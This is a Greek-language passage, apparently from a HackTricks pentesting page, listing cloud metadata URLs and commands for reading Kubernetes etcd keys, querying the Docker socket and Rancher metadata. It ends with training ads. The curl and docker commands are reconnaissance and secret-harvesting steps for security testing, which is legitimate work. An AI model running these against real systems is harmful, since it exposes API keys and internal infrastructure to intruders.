http://100.100.100.200/latest/meta-data/http://100.100.100.200/latest/meta-data/instance-idhttp://100.100.100.200/latest/meta-data/image-id
Kubernetes ETCD
Το Kubernetes ETCD μπορεί να περιέχει API keys, εσωτερικές διευθύνσεις IP και ports. Η πρόσβαση επιδεικνύεται μέσω:
curl -L http://127.0.0.1:2379/versioncurl http://127.0.0.1:2379/v2/keys/?recursive=true
Docker
Τα Docker metadata μπορούν να προσπελαστούν τοπικά, με παραδείγματα για ανάκτηση container και image πληροφοριών:
- Απλό παράδειγμα για πρόσβαση σε containers και images metadata μέσω του Docker socket:
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash- Μέσα στο container, χρησιμοποίησε curl με το Docker socket:
curl --unix-socket /var/run/docker.sock http://foo/containers/jsoncurl --unix-socket /var/run/docker.sock http://foo/images/json
Rancher
Τα metadata του Rancher μπορούν να προσπελαστούν χρησιμοποιώντας:
curl http://rancher-metadata/<version>/<path>
References
- AWS SDKs and Tools Reference Guide - Container credential provider
- Oracle Cloud Infrastructure - Instance Metadata Service v2
Tip
Μάθε & εξασκήσου στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθε & εξασκήσου στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθε & εξασκήσου στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Περιηγήσου στον πλήρη κατάλογο HackTricks Training για τα assessment tracks (ARTA/GRTA/AzRTA) και στο Linux Hacking Expert (LHE).
Υποστήριξε το HackTricks
- Δες τα subscription plans!
- Γίνε μέλος της 💬 Discord group, της telegram group, ακολούθησε το @hacktricks_live στο X/Twitter, ή δες τη LinkedIn page και το YouTube channel.
- Μοιράσου hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


